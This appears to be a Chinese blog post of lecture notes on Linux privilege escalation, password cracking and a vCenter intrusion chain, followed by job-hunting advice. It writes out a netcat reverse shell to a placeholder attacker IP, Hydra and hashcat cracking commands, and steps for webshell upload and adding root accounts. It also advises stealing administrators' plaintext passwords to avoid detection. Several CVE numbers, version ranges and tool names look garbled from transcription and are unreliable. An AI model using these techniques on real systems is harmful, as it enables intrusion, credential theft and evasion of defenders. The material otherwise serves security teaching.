qiu_dv

导航

课堂笔记-8月28日

课堂笔记-8月28日:Linux 提权体系全景——从内核漏洞到 vCenter 内网渗透

来源:8_28/录音.txt | 日期:2026-08-28 | 主题:Linux 系统提权(10 种方法)逐类讲解与实战演示,辅以安全基线、密码破解、vCenter 内网渗透与秋招面试/简历指导

〇、今日主线

  1. 承接上节课 Windows 11 种提权方案(面试要求能背出 80%),本节课转入 Linux 系统提权,共 10 种方法逐类拆解。
  2. 核心结论先行:内核提权是 Windows/Linux 双平台最有效的提权方式,其次依次是弱口令/暴力破解、SUID 提权、敏感文件(密码复用)提权,任务计划提权实际成功率极低。
  3. 现场演示:SUID + find -exec 提权、cron 任务计划提权(含 dash/bash 坑)、John/hashcat 密码爆破、Hydra 弱口令、sudo 漏洞(CVE-2021-3156)提权、vCenter 未授权上传 + 提权。
  4. 穿插大量秋招就业内容:面试心态、简历包装、实习与转正规则、薪资行情。

一、提权基本概念与前置条件

  • 提权前提是"已有一定权限":从普通用户/低权限 Web 用户向更高权限(root)升级,而非从零获取权限。经典场景:拿下网站后权限是 www-data(只能写 web 目录),需升到 root 才能操作其它系统目录。
  • 内核提权是 Windows/Linux 最靠谱方式:Windows 先 systeminfo 查看未打的补丁,再按补丁对应漏洞提权。若内核提权失败,其它方法基本也难成功;真实线上系统不会配置得那么脆弱。
  • SAM 抓取明文/哈希严格说不算提权(有前置条件);从注册表导出 SCM HIVE/System.hiv 拿管理员哈希同样需要高权限。

Linux 提权方式成功率排序(老师口述)

排名 方式 成功率 / 可行性 备注
1 内核提权 最高(尤其 Ubuntu 22 以前内核) 2026 上半年新内核漏洞多,新稳定版反而最易命中
2 弱口令 / 暴力破解 20%~30%,实战最常奏效 防御极简单:密码设复杂即可
3 SUID 提权 2020 版本前可行,现实成功率低 正常系统不会随意给 SUID
4 敏感文件提权(密码复用探测) 已极低(8~10 年前 50~60%) 取决于管理员是否复用密码;宝塔等已自动生成随机密码
5 任务计划(cron)提权 极低(老师称 99% 失败) root 创建的任务计划文件默认只有 root 能改
6 直接编辑 /etc/shadow 几乎理论存在 现实中遇不到 777 权限的 shadow

二、内核提权与漏洞利用实战

2.1 关键结论与判断标准

  • 旧版本问题多,新版本漏洞新:2026 上半年 Linux 爆出大量内核提权漏洞(如"copy C"),往往出现在最新最稳定版本——发现时间短、防护不完善,成功率最高。
  • 通杀性内核漏洞:影响 2017~2026 年 Linux 版本,原理简单(本质是权限写入问题)、支持 x86-64(大多数框架受影响),网上资料丰富。
  • "要求输入密码 = 漏洞已被修复":提权工具执行中一旦出现密码输入环节,基本说明该漏洞已打补丁;真正的漏洞利用应绕过认证。
  • 无通用提权方法:成功率高度依赖环境配置与代码版本——同漏洞 C 版重编译可能成功、Python 版却失败;静态编译工具体积可达 937k。老师强调通常只用特定版本的漏洞利用代码
  • 不能"人为满足前置条件":若工具提示提权成功但需先装特定工具,这种"作弊式"提权在真实渗透中无意义(攻击场景往往没有安装工具的权限)。

2.2 现场调试踩坑记录

  • CVE-2021-1798 提权举例:可能多次尝试,第一次大概率失败;操作不当可致服务器崩溃/宕机。
  • 某 Python 提权工具(要求 Python 3.6+,含 run/detect/scan 功能):建议先切非 root 账户运行避免权限问题。
  • 版本兼容性:Ubuntu 24.04 内核 6.17 成功;Ubuntu 20.4/22 内核 6.8 大概率也能成功,但需确认内核组件是否支持
  • 加密算法问题:Ubuntu 22.04 报缺 aead/sha256/aes,检查后系统其实已具备;若真缺失,可修改算法组合——去掉特定算法或改用更通用配置。
  • 文档理想化:技术文档步骤常是理想化的,实际执行受环境差异影响,不要完全依赖文档。

2.3 可靠漏洞与 PoC 检索

  • 31431 漏洞:老师测试过最可靠的方式;其它方法(如 2404 版本漏洞)要么失效、要么成功率低。优先验证已知可靠漏洞,不浪费时间。
  • Ubuntu 22(内核 6.8) 使针对低版本内核(如 4.34)的漏洞基本失效,老师实测三个案例均失败。检索新提权方法用 Linux 内核漏洞数据库Google 搜最新 PoC——很多公开漏洞仅适用较旧内核,Ubuntu 22 要找专门针对高版本内核的新漏洞。
  • 提到漏洞编号 68138、464531(影响 Linux 5.1~7.5)、20256018、20256019 测试成功,优邦库 2.04 成功且统信已发布修复公告。
  • 老师建议:直接执行现成脚本验证,不要依赖 AI 去"挖"这类复杂漏洞。22 版多次提权失败、24 版却成功——新版本不一定更安全,但老版本"更安全"往往是偶然,不能长期依赖。

三、SUID 提权

3.1 SUID 机制

  • SUID(Set User ID):二进制文件设置 SUID 位后,普通用户执行时瞬间临时获得文件所有者(通常 root)的权限(类比:拿老板工牌刷卡)。
  • 查找 SUID 文件是提权关键第一步(-perm -4000 匹配 SUID 文件,2>/dev/null 屏蔽错误信息):
find / -perm -4000 2>/dev/null
  • 找到不代表能用:大多数 SUID 文件无法借此执行命令,除非像 find 本身支持 -exec 的特殊情况。早期系统给 root 属主的 find 加过 SUID 位,新版已取消(安全隐患);老师现场演示手动加 SUID 后命令变红。

3.2 find + -exec 提权实战

touch /tmp/123.txt                                  # 确保目标文件存在,find 才能命中并触发 -exec
find /tmp -name 123.txt -exec whoami \;             # -exec 以 root 身份执行(前提:find 带 SUID)
  • 必须保证目标文件存在,否则 -exec 不触发。
  • 命令执行环境的选择很关键:最初在 share 层面执行失败,应在 find 内部执行——用错钥匙,钥匙本身没问题也开不了门
  • 创建文件 ≠ 写入文件touch 创建成功但写入失败;echo 写入、find 建目录也不成。查看内容通常可行,创建/修改需要更高权限。
  • 更实用思路:直接向根目录写文件通常失败,可先用 mv 把 flag 文件移动到有权限的目录,再借助带 SUID 的 find -exec 操作。

3.3 其它 SUID 利用(copy / mv 覆盖系统文件)

  • 利用带 S 权限的 copy/mv 覆盖 /etc/passwd/etc/shadow 可拿 root——但普通用户对这些文件只有读权限(shadow 甚至完全不可访问),需先备份再替换。三步骤:备份原 passwd → 修改 passwd 添加新用户 → copy 覆盖
  • 现实判断:copy/mv 基本不可能被赋予 SUID(风险等于给攻击者完全控制系统的能力);正常 /etc/passwd 权限 644,若被误设 777 提权将极其容易,但现实中几乎不会。
  • SUID 提权 2020 版本以下可行,现实中成功率极低;某些命令(如 date)即使有 SUID,多只能读文件。

四、/etc/passwd 与 /etc/shadow 的用户验证机制

  • Linux 登录验证流程:先查 /etc/passwd 用户条目,标记 no login 直接拒绝;只有 /bin/bash 等有效 shell 的用户才进入密码验证环节。登录限制标记比密码验证更前置,体现"快速失败"理念。
  • 系统为服务创建最小权限账户(只能启动特定服务),体现最小权限原则。
  • 密码验证核心在 /etc/shadow:某用户在此无密码(显示 x)则该账户实际不可用;x 表示密码存于 shadow,若有人直接改 shadow 把 x 替换成加密密码字符串,就可能绕过正常密码设置流程。
  • shadow 提权:有写权限可直接改密码,有读权限(误配 644)可提取哈希破解;但 shadow 默认 600(仅 root 可读写),现实中普通用户不可能有 777 权限——更多是面试题场景,实际源于运维失误。
  • 修改 shadow 添加 root 权限用户:条目含密码、UID 0(root)、正常 shell 路径即可用 root 登录;整个过程依赖"临时文件 + 权限提升"。
  • 加密破解基本不可能成功,除非弱口令可爆破;某脚本改文件权限(如 777)覆盖 /etc/passwd 添加 tomcat 用户,使普通用户获得 shadow 读写权限——权限管理随意会形成严重漏洞

密码生成与修改规范

  • 临时改密后(如从 000 改成 7777务必改回正常密码,否则留下后门。
  • 规范做法:以 password_123 为基础密码,sort 算法加盐(盐值可自定义)+ MD5 加密生成;加盐可防彩虹表攻击。

五、任务计划(cron)提权与反弹 Shell

5.1 反弹 Shell 常用方式

  • 原理:目标服务器开启指定端口,攻击者主动连接即建立反弹 shell;前提是目标装有对应工具(Python 或 nc)。
  • 常用工具/语言:nc、Python、PowerShell、Ruby、Node.js、Java;核心参数为目标 IP + 端口;建议先监听端口确认连接正常。
nc -lvnp 8888                                    # 攻击机监听(原文 5555 是笔误)
nc <攻击机IP> 8888 -e /bin/bash                  # 目标机反弹
  • 调试坑:nc 版本过高可能缺 -E/-C 参数;报 fd number 语法错误提示不支持当前风格的定向输入(系统默认 dash)。

5.2 cron 任务计划提权

  • 核心逻辑与 Windows 任务计划提权一致:某用户有定时执行脚本的权限,若攻击者能修改脚本内容即可植入恶意命令实现反弹(类比 Windows 替换 temp/clean.ps1)。
  • 可修改 cron 时间参数(如每小时执行的 0 改成 /15)提高执行频率。典型脚本流程:创建目录 → 生成 readme/idl → 写 cleanup.py赋予执行权限 → 替换名称后执行。
  • 权限陷阱:通过网站进来可能没有 clean-up 写权限;文件若放 time 目录(通常有写权限)提权成功率很高;root 创建的 cron 任务文件只有 root 能改——现实几乎不会用任务计划提权,属"死路一条"。
  • 600 权限问题:任务计划文件应设 600,若为 644 则报 "insecure"。关联 Redis RCE 写 cron:redis 默认写入权限 644,写 /var/spool/cron/root 即使成功也会因权限问题失败。

5.3 环境差异与 dash/bash 坑

  • 优光库/部分定制版系统中任务计划失败率高达 99%,主因:① 权限限制;② 系统默认 dash 而非 bash。可尝试 bash -csh -c 替代。
  • 软链接指向错误:CentOS 下软链接实际指向 dash 而非 bash,调用 baseno found。解决思路:① 修改指向(把默认 sh 指回 bash);② 切换环境(执行前加一行 bash);③ 直接调用(sh 环境下用 bash -c 执行)。关键点:文件权限 600base 路径正确

5.4 Redis RCE 三种利用方式(关联)

  1. 写入 Web 共享目录:植入恶意文件到网站目录;
  2. 篡改 SSH 公钥:实现免密登录(需写权限);
  3. 写入定时任务:写 /var/spool/cron/root 以 root 执行反弹 shell——因 644/600 权限问题通常失败。

六、密码破解与弱口令提权

6.1 现实判断

  • 弱口令攻击在实战中成功率相当高;防御很简单——设足够复杂的密码,"123456" 完全不可取。暴力破解成功率约 20~30%,靠运气,90% 情况下会失败。
  • 敏感文件提权(密码复用探测):扫描数据库配置文件(如 WordPress 数据库密码)收集密码尝试复用为 root 密码,成败取决于管理员的密码习惯;2026 年成功率已极低(宝塔等面板自动生成随机密码)。老师成功案例:内网存在 vCenter 集群管理系统(存储大多数服务器密码,相当于"钥匙串")才是真正突破口。
  • -v/-V/-a/-A 参数可显示详细破解过程。

6.2 John the Ripper

  • 著名开源密码破解工具,字典攻击/暴力破解哈希,用于安全审计。使用前需合并 /etc/passwd/etc/shadow,否则工具无法识别:
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt
  • 支持单用户模式(single crack mode);知道盐值(salt)可手动添加提升效率。与 hashcat 同为密码审计利器。

6.3 hashcat 与算法识别

  • hashcat 是目前最快的密码破解工具,利用 GPU 运算(比 CPU 快得多);GPU 越多越快。
  • shadow 中存的是加盐哈希(非明文),破解前须先识别算法;按加密标识选模式:
加密标识 算法 hashcat 模式
$1$ MD5 500
$5$ SHA-256 7400
$6$ SHA-512 1800
  • 技巧:用 unshadow 合并多个用户哈希后批量破解更高效;强密码几乎不可能被破解,实操优先破解 root 这类高价值目标;rockyou 是常用密码字典。

6.4 Hydra(美杜莎)暴力破解

hydra -l root -P pass.txt ssh://目标IP          # 固定用户名
hydra -L users.txt -P pass.txt ssh://目标IP     # 用户名字典 + 密码字典
  • 支持 SSH 等协议;用户名可固定(如 root)或用字典(含 adminmanager 等)。实际能否遇到有弱密码的目标("屠龙之术")决定价值。

6.5 字典构建方法论

  • 针对性字典攻击比纯暴力破解高效。破解"培华"案例:原始密码可能是 2015,收集相关密码(如 shz-2015)并有策略地扩充常见变体可显著提高成功率——shz-2015 攻破 73、76 号系统,但 74、75 号无效(不同系统安全策略不同)。
  • 提高成功率的核心是前期充分的信息收集:尽可能多收集目标敏感信息整理成字典,信息碎片越多越接近成功。磁盘空间不足时可自制精简版字典

七、系统识别技巧(面试常问)

  • TTL 值快速区分系统ping 目标,Windows 默认 TTL 128,Linux 默认 TTL 64;若小于 64 基本确定是 Linux。:经虚拟机/中间设备测试时 TTL 可能反映物理主机而非目标系统,务必直接 ping 目标 IP。
  • 大小写敏感特性:把路径故意改成大写,Linux 严格区分大小写会报错,Windows 不受影响。

八、sudo 提权与相关漏洞

  • sudo(super user do):用 root 权限执行命令;root 可在任何主机以任何用户/用户组身份执行任何命令,权限极高。sudo 提权前提:对 sudo 配置文件有写入权限;默认 sudoers 对 root 只读、对其它用户完全禁止(权限 000)。
user1 ALL=(ALL) NOPASSWD: ALL                      # 可无密码执行所有命令
user2 ALL=(ALL) NOPASSWD: /usr/bin/find            # 只能执行 find
  • 核心漏洞:攻击者若能写入 sudoers 给普通用户赋予 find 等命令权限,即可借 find 提权;前提是能改 sudoers + 构造看似合理实则危险的命令。
  • 带固定参数的命令授权更安全:如 sudo less /var/log/syslog,参数写死后只能翻页,无法执行其它操作,适合只读访问(查日志)场景。
  • sudo 版本漏洞:sudo 1.8.16 存在 security bypass,1.8.28 修复;实测只有 1.8.17 能复现提权(但"需添加特定语句"说明 web 用户通常无权限,等于提权已失败)。判断标准:真正的提权应无需额外添加文件、直接拿 root
  • CVE-2021-3156(sudo 提权漏洞):在特定位置添加代码实现提权,成功率高于 msf 常规 local 提权模块;可在 /etc/passwd 直接写入账户信息(如管理员 gg)绕过权限检查。提权成功后先不登录、先拿 root 钥匙

九、vCenter 内网渗透(重点实战案例)

9.1 架构认知

  • ESXi:直接运行在物理服务器上的"操作系统",在单台物理机上创建/管理多个虚拟机(像 VM,内存够可装多个 OS)。
  • vCenter Server:虚拟化环境的"指挥官",集中管理多台 ESXi 主机(工人 vs 工头)。
  • vCenter 的价值拿下 vCenter ≈ 控制内网 80%~90% 的机器,直通域控最高权限,是内网渗透的高价值核心目标。

9.2 攻击链实录

  1. 入口:通过 SQL 注入获取内网服务器权限 → 提权抓取密码。
  2. 横向定位:尝试 Pass the Hash(哈希传递) 失败后,用扫描工具(如 Xscan)定位 vCenter。
  3. 漏洞利用:版本识别(某案例 6.5 命中 CVE-2021-21972;老师实测 6.7 可行)——内网未升级导致中招。发现 405 错误(不支持 GET、可能接受 POST),说明存在未健全的上传接口,可上传 webshell(如 share.jsp)。
  4. 获取权限:上传 冰蝎三 webshell 获取 web shell 权限(可能只是普通用户而非 root);不推荐"重置密码"方式(影响管理员使用)。
  5. 提权:低权限拿不到 cookie / 伪造 mdb,需先提权。常规 msf local 提权成功率不高,改用 CVE-2021-3156(sudo 漏洞) 成功,添加超级管理员账户(如 peihua@xxx)写入 /etc/passwd
  6. 登录控制台(推荐路径):通过解析数据库获取 cookie 替换登录,而非改密码。

9.3 渗透手法隐蔽性(老师强调)

  • 直接添加用户是最差的后门方式:操作日志明显,大厂 2 小时内必发现。正确做法:抓取管理员明文密码用合法凭证登录——动静最小、可持久。
  • 渗透路径设计:先通过低权限入口(如端口 320)切入,最后再针对 vCenter,避免过早暴露意图。
  • 附:Windows 登录验证用密码哈希而非明文,因此 Pass the Hash 可绕过密码验证。

十、安全基线(基线检查)

  • 基线检查 = 系统必须达到的最低安全标准("及格线"),不要求最好但必须达标。
  • 权威依据:国家工信部发布的安全基线标准(最早 2014 年发布,核心变化不大),对操作系统(Windows/Linux)、网络设备(路由器/交换机/防火墙)、数据库、中间件均有规定;Unix 因主要在银行使用可暂略。

Windows 基线要点

要求 说明
口令长度 8 位升级到 11 位 账号口令管理
账号共享 禁止
多余账号 / 来宾账号 删除无关账号、禁用来宾 清理攻击面
Administrator 改名 可做但作用有限 黑客用 SID(如 500)可识别管理员,改名只是"扬汤止沸"
远程关机/登录权限 仅限 Administrators 组 防权限滥用

密码策略要点

  • 强制密码历史设为 75:防止循环使用旧密码。
  • 账户锁定策略:暴力破解时可自动锁定账户。
  • 密码生存时间:Linux 默认 99999 天(不限时长),安全规范通常要求 90 天强制修改——即使哈希泄露,强制改密后旧哈希作废。
  • 已有现成基线检测脚本可一键完成检查;shadow 文件通常不建议随意修改,保持默认即可。

十一、实战思路沉淀(老师强调的方法论)

  • 曲线救国:主站 www.aa.com 攻不破时,攻击同服务器的 www.bbb.com;Linux 常把不同网站放不同目录,普通 Web 权限无法跨目录访问,拿下 bbb 后需提权才能访问 aa 目录数据——从薄弱点突破逐步扩大战果。
  • 提权两大核心场景:① 分析网站文件结构找数据库连接文件,直接访问目标数据库取数据;② Windows 环境下抓管理员明文密码为内网横向做准备。
  • find 命令是实战中最实用的提权工具提权本质目的是突破权限限制,拿到原本无法访问的关键数据。
  • 写不进去就不必纠结:借助 AI 找出正确写入方法更高效,多问几次 AI、调整写入格式/参数最终一定能成功。
  • 内网渗透优先找 vCenter 这类核心系统(拿总控钥匙比挨个撬门高效);发现后立即联想到其已知漏洞(如 CVE-2021-21972)。
  • 漏洞利用要关注时效性:新系统可能已修复旧漏洞,先检查版本范围;老师不推荐用 AI 挖复杂内核漏洞,直接执行现成 PoC 脚本验证更实际

附:行动清单

  1. 背熟上节课 Windows 11 种提权方案(面试要求能说出 80%),并整理 Linux 提权 10 种方法速查表。
  2. 复现 SUID 提权:find / -perm -4000 2>/dev/nullfind -exec 用法,重点体会"创建≠写入"与 mv 换目录思路。
  3. 用 John the Ripper(unshadow 合并)与 hashcat 各跑一次弱口令哈希破解,记录 MD5/SHA-512 对应 mode(500/1800)与 rockyou 字典用法。
  4. 用 Hydra 对本地靶机 SSH 做字典爆破,练习按目标信息自制精简字典(参考培华 shz-2015 案例)。
  5. 复现 vCenter 渗透链(CVE-2021-21972 → 冰蝎 webshell → CVE-2021-3156 提权 → 解析数据库 cookie 登录),重点练习隐蔽操作(抓明文密码而非加用户)。
  6. 将 TTL 判系统(Windows 128 / Linux 64)、大小写敏感判系统加入面试速记;对照工信部基线检查表核对系统配置。

附:简历与就业要点

简历项目包装

  • 简历普遍 AI 相关内容偏少:前两个项目可写单一技术点(如绕过 WAF),后两个建议包含 AI 渗透内网渗透vCenter 漏洞在内网渗透中价值最高
  • 最好单独列一个"AI Agent 自动化渗透"研究项目,把黑松大赛获奖方案的核心技术提炼进去;AI 主流方向是智能体(Agent),单纯写 Scale 这类工具分量不足。
  • 内网部署 vCenter 复现漏洞是有效实战证明,能体现完整内网横向移动能力(普通 RCE、免杀只是"单点突破")。
  • 面试准备:每天复盘可能被问到的项目问题,站在面试官角度预演。

面试心态与表达

  • 假经历容易露馅,真经历才能自圆其说:有同学虚构互联网经历面过了,但 HR 会电话核实,建议把实习公司名称、工作内容、地点等细节提前了解清楚;真做过项目面 5 次后就能像聊天一样自然。
  • 心理素质决定成败:技术实力只是门槛,抗压能力才是决定因素;有同学两次卡壳就放弃逃回老家错失秋招(靠春招捡漏),也有同学弃面后跳槽拿近 30 万年薪(纯属运气)。
  • 自信是关键:很多面试官水平可能有限,别自我怀疑;把别人案例吃透讲成自己的戏(基于真实案例的技术消化,不是凭空捏造)。
  • 表达要切题:问"项目最大困难"别答"适应新校区"这类跑题内容;先听清问题再答。
  • 面试是平等互惠:用劳动换机会,不必低人一等;10 个问题答对五六个就有机会;着装干净得体即可,保持良好心态往往能得不错结果。

实习与转正规则

  • 企业已启动招聘,先以实习生身份招募,实习期分 3 个月 / 6 个月(亚信 6 个月,普通公司 3 个月)。
  • 转正关键:工作态度与学习态度;客户评价往往比"能力"更重要——客户一句"这人不行"可能断送机会;和客户沟通要专业得体,实习期遇到不合理要求也别轻易拒绝。
  • 甲方场景:护网/重保时甲方会提技术外行的要求,不能直接拒绝(不给甲方面子会影响合作);条件不理想该干的活照样干,人情世故很重要
  • 绿盟缺人但竞争激烈、筛选严格;面试最后半小时很关键,把握不好就没后续机会。

薪资行情

  • 这一届 深信服安服岗位底薪 16~18k,另加每月 4000 元补贴(房补/饭补/通讯),年补贴近 5 万,年总收入可能超 20 万(此前为底薪 12~14k、补贴 3000 元)。
  • 亚信是深信服子公司,实习生待遇标准相似;能否转正取决于实习表现。

posted on 2026-09-04 00:44  qiu_dv  阅读(7)  评论(0)    收藏  举报